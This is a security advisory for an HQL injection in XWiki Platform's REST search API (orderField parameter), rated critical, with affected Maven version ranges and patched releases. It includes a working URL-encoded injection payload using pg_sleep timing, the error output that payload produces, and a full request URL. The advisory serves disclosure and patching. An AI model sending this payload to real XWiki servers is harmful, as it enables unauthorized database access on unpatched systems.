GHSA-gprp-h92g-gc2h

Suggest an improvement
Source
https://github.com/advisories/GHSA-gprp-h92g-gc2h
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-gprp-h92g-gc2h/GHSA-gprp-h92g-gc2h.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-gprp-h92g-gc2h
Aliases
Published
2025-10-06T20:16:34Z
Modified
2025-10-06T20:42:24Z
Severity
  • 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
XWiki Platform is vulnerable to HQL injection via wiki and space search REST API
Details

Impact

The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.

For example, with the following orderField parameter:

doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName

See the following error:

QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]

For reference, the full URL for the above error is:

http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName

Patches

This has been patched in 17.5.0, 17.4.2, 16.10.9.

Workarounds

There is no known workaround, other than upgrading XWiki.

Resources

For more information

If you have any questions or comments about this advisory:

Database specific
{
    "cwe_ids":  [
        "CWE-89"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2025-10-06T20:16:34Z",
    "nvd_published_at":  "2025-10-06T15:16:04Z",
    "severity":  "CRITICAL"
}
References

Affected packages

Maven / org.xwiki.platform:xwiki-platform-rest-server

Package

Name
org.xwiki.platform:xwiki-platform-rest-server
View open source insights on deps.dev
Purl
pkg:maven/org.xwiki.platform/xwiki-platform-rest-server

Affected ranges

Type
ECOSYSTEM
Events
Introduced
17.0.0-rc-1
Fixed
17.4.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-gprp-h92g-gc2h/GHSA-gprp-h92g-gc2h.json"

Maven / org.xwiki.platform:xwiki-platform-rest-server

Package

Name
org.xwiki.platform:xwiki-platform-rest-server
View open source insights on deps.dev
Purl
pkg:maven/org.xwiki.platform/xwiki-platform-rest-server

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.3-milestone-1
Fixed
16.10.9

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-gprp-h92g-gc2h/GHSA-gprp-h92g-gc2h.json"